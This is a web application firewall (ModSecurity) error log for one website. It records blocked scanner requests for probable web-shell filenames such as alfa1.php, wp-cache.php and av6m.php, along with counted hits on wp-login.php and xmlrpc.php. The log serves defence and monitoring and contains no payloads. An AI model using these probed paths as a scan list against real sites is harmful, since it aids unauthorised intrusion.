[Mon Mar 02 01:14:56.550215 2026] [:error] [pid 53180:tid 53459] [client 20.104.19.195:3712] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/worksec.php"] [unique_id "aaR0EDPPJpDOBvYnaa1MwQAAAY8"]
[Mon Mar 02 01:14:57.023592 2026] [:error] [pid 26940:tid 26950] [client 20.104.19.195:14715] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/worksec.php"] [unique_id "aaR0ERrUg-j5GLDtRFmJcQAAAEY"]
[Mon Mar 02 01:14:57.482539 2026] [:error] [pid 26940:tid 26956] [client 20.104.19.195:9778] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/worksec.php"] [unique_id "aaR0ERrUg-j5GLDtRFmJdgAAAEw"]
[Mon Mar 02 01:14:57.911086 2026] [:error] [pid 26940:tid 26967] [client 20.104.19.195:6828] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configs.php"] [unique_id "aaR0ERrUg-j5GLDtRFmJdwAAAFc"]
[Mon Mar 02 01:14:58.353038 2026] [:error] [pid 53585:tid 53594] [client 20.104.19.195:19673] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configs.php"] [unique_id "aaR0EnbCvYsvu6kKhM2HEQAAAAY"]
[Mon Mar 02 01:14:58.779000 2026] [:error] [pid 53180:tid 53462] [client 20.104.19.195:10671] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configs.php"] [unique_id "aaR0EjPPJpDOBvYnaa1MwwAAAZI"]
[Mon Mar 02 01:14:59.214195 2026] [:error] [pid 53180:tid 53456] [client 20.104.19.195:15731] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configs.php"] [unique_id "aaR0EzPPJpDOBvYnaa1MxAAAAYw"]
[Mon Mar 02 01:14:59.704033 2026] [:error] [pid 53180:tid 53464] [client 20.104.19.195:15148] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa1.php"] [unique_id "aaR0EzPPJpDOBvYnaa1MxQAAAZQ"]
[Mon Mar 02 01:15:00.185222 2026] [:error] [pid 53180:tid 53465] [client 20.104.19.195:9756] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa1.php"] [unique_id "aaR0FDPPJpDOBvYnaa1MyAAAAZU"]
[Mon Mar 02 01:15:00.647793 2026] [:error] [pid 53182:tid 53551] [client 20.104.19.195:6841] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa1.php"] [unique_id "aaR0FPv073cA6eM1YCS9dAAAAMg"]
[Mon Mar 02 01:15:01.106010 2026] [:error] [pid 53181:tid 53517] [client 20.104.19.195:2417] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa1.php"] [unique_id "aaR0FYr_0T1SazTrJOAtIgAAAQM"]
[Mon Mar 02 01:15:01.552779 2026] [:error] [pid 53585:tid 53603] [client 20.104.19.195:15703] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aaR0FXbCvYsvu6kKhM2HGQAAAA8"]
[Mon Mar 02 01:15:02.078182 2026] [:error] [pid 53585:tid 53588] [client 20.104.19.195:15707] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aaR0FnbCvYsvu6kKhM2HHQAAAAA"]
[Mon Mar 02 01:15:02.597588 2026] [:error] [pid 26940:tid 26945] [client 20.104.19.195:3741] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aaR0FhrUg-j5GLDtRFmJhgAAAEE"]
[Mon Mar 02 01:15:03.134677 2026] [:error] [pid 26940:tid 26948] [client 20.104.19.195:50417] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouts.php"] [unique_id "aaR0FxrUg-j5GLDtRFmJiwAAAEQ"]
[Mon Mar 02 01:15:03.561984 2026] [:error] [pid 26940:tid 26951] [client 20.104.19.195:50419] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cache.php"] [unique_id "aaR0FxrUg-j5GLDtRFmJkAAAAEc"]
[Mon Mar 02 01:15:04.063682 2026] [:error] [pid 26940:tid 26953] [client 20.104.19.195:13008] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cache.php"] [unique_id "aaR0GBrUg-j5GLDtRFmJlQAAAEk"]
[Mon Mar 02 01:15:04.499062 2026] [:error] [pid 26940:tid 26967] [client 20.104.19.195:15117] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cache.php"] [unique_id "aaR0GBrUg-j5GLDtRFmJmgAAAFc"]
[Mon Mar 02 01:15:04.920351 2026] [:error] [pid 26940:tid 26965] [client 20.104.19.195:9782] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cache.php"] [unique_id "aaR0GBrUg-j5GLDtRFmJoAAAAFU"]
[Mon Mar 02 01:15:05.347015 2026] [:error] [pid 53585:tid 53590] [client 20.104.19.195:3750] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0GXbCvYsvu6kKhM2HJQAAAAI"]
[Mon Mar 02 01:15:05.766511 2026] [:error] [pid 26940:tid 26950] [client 20.104.19.195:6533] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0GRrUg-j5GLDtRFmJqAAAAEY"]
[Mon Mar 02 01:15:06.188940 2026] [:error] [pid 53585:tid 53601] [client 20.104.19.195:6539] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0GnbCvYsvu6kKhM2HKgAAAA0"]
[Mon Mar 02 01:15:06.611985 2026] [:error] [pid 53585:tid 53600] [client 20.104.19.195:9293] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0GnbCvYsvu6kKhM2HLQAAAAw"]
[Mon Mar 02 01:15:07.037327 2026] [:error] [pid 26940:tid 26947] [client 20.104.19.195:3024] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0GxrUg-j5GLDtRFmJtwAAAEM"]
[Mon Mar 02 01:15:07.453202 2026] [:error] [pid 53585:tid 53599] [client 20.104.19.195:9747] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0G3bCvYsvu6kKhM2HMAAAAAs"]
[Mon Mar 02 01:15:07.871296 2026] [:error] [pid 53585:tid 53607] [client 20.104.19.195:15689] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0G3bCvYsvu6kKhM2HMQAAABM"]
[Mon Mar 02 01:15:08.285592 2026] [:error] [pid 26940:tid 26962] [client 20.104.19.195:10681] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aaR0HBrUg-j5GLDtRFmJwgAAAFI"]
[Mon Mar 02 01:59:36.795718 2026] [:error] [pid 53585:tid 53612] [client 159.223.226.118:41950] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.226.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaR-iHbCvYsvu6kKhM2wdgAAABg"]
[Mon Mar 02 01:59:39.405692 2026] [:error] [pid 53585:tid 53608] [client 170.106.11.141:49548] [client 170.106.11.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaR-i3bCvYsvu6kKhM2wigAAABQ"]
[Mon Mar 02 02:00:54.107903 2026] [:error] [pid 53585:tid 53610] [client 20.214.137.177:8869] [client 20.214.137.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.214.137.177, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaR-1nbCvYsvu6kKhM2yLQAAABY"]
[Mon Mar 02 02:01:15.888462 2026] [:error] [pid 53585:tid 53607] [client 20.214.137.177:8869] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaR-63bCvYsvu6kKhM2yZAAAABM"]
[Mon Mar 02 02:01:16.429888 2026] [:error] [pid 26940:tid 26965] [client 20.214.137.177:29964] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaR-7BrUg-j5GLDtRFnFbQAAAFU"]
[Mon Mar 02 02:01:16.997951 2026] [:error] [pid 53181:tid 53529] [client 20.214.137.177:5300] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaR-7Ir_0T1SazTrJOBGbQAAAQ4"]
[Mon Mar 02 02:01:17.536377 2026] [:error] [pid 26940:tid 26949] [client 20.214.137.177:22229] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaR-7RrUg-j5GLDtRFnFfwAAAEU"]
[Mon Mar 02 02:20:29.471600 2026] [:error] [pid 53585:tid 53590] [client 20.151.11.236:58820] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaSDbXbCvYsvu6kKhM3FbQAAAAI"]
[Mon Mar 02 02:20:29.954937 2026] [:error] [pid 26940:tid 26962] [client 20.151.11.236:63591] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaSDbRrUg-j5GLDtRFniEQAAAFI"]
[Mon Mar 02 02:20:30.365134 2026] [:error] [pid 53181:tid 53528] [client 20.151.11.236:63572] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaSDbor_0T1SazTrJOBQiwAAAQ0"]
[Mon Mar 02 02:20:30.806605 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:63531] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaSDbhrUg-j5GLDtRFniGQAAAEY"]
[Mon Mar 02 02:20:31.242778 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:63557] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSDb_v073cA6eM1YCTpvwAAAMg"]
[Mon Mar 02 02:20:31.664149 2026] [:error] [pid 53180:tid 53464] [client 20.151.11.236:58857] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSDbzPPJpDOBvYnaa1nMQAAAZQ"]
[Mon Mar 02 02:20:32.112238 2026] [:error] [pid 53181:tid 53515] [client 20.151.11.236:63571] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSDcIr_0T1SazTrJOBQjgAAAQE"]
[Mon Mar 02 02:20:32.597062 2026] [:error] [pid 53180:tid 53467] [client 20.151.11.236:58866] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSDcDPPJpDOBvYnaa1nNQAAAZc"]
[Mon Mar 02 02:20:33.037939 2026] [:error] [pid 53180:tid 53448] [client 20.151.11.236:63491] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSDcTPPJpDOBvYnaa1nOAAAAYQ"]
[Mon Mar 02 02:20:33.466874 2026] [:error] [pid 53181:tid 53524] [client 20.151.11.236:58826] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSDcYr_0T1SazTrJOBQmAAAAQk"]
[Mon Mar 02 02:20:33.900032 2026] [:error] [pid 53181:tid 53525] [client 20.151.11.236:58875] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSDcYr_0T1SazTrJOBQoAAAAQo"]
[Mon Mar 02 02:20:34.352127 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:58841] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSDchrUg-j5GLDtRFniKAAAAFY"]
[Mon Mar 02 02:20:34.788605 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:58863] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaSDchrUg-j5GLDtRFniLQAAAFE"]
[Mon Mar 02 02:20:35.207769 2026] [:error] [pid 53182:tid 53564] [client 20.151.11.236:58825] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaSDc_v073cA6eM1YCTpygAAANQ"]
[Mon Mar 02 02:20:35.643149 2026] [:error] [pid 53585:tid 53606] [client 20.151.11.236:63607] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaSDc3bCvYsvu6kKhM3FkwAAABI"]
[Mon Mar 02 02:20:36.141135 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:63613] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaSDdBrUg-j5GLDtRFniNwAAAEM"]
[Mon Mar 02 02:20:36.634647 2026] [:error] [pid 53585:tid 53610] [client 20.151.11.236:63576] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av6m.php"] [unique_id "aaSDdHbCvYsvu6kKhM3FogAAABY"]
[Mon Mar 02 02:20:37.067329 2026] [:error] [pid 53585:tid 53608] [client 20.151.11.236:58860] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av6m.php"] [unique_id "aaSDdXbCvYsvu6kKhM3FqQAAABQ"]
[Mon Mar 02 02:20:37.538414 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:63535] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av6m.php"] [unique_id "aaSDdRrUg-j5GLDtRFniQgAAAEQ"]
[Mon Mar 02 02:20:38.011074 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:58790] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av6m.php"] [unique_id "aaSDdhrUg-j5GLDtRFniRQAAAFY"]
[Mon Mar 02 02:20:38.490000 2026] [:error] [pid 53182:tid 53567] [client 20.151.11.236:63597] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSDdvv073cA6eM1YCTp0wAAANc"]
[Mon Mar 02 02:20:38.979762 2026] [:error] [pid 53182:tid 53566] [client 20.151.11.236:57564] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSDdvv073cA6eM1YCTp1AAAANY"]
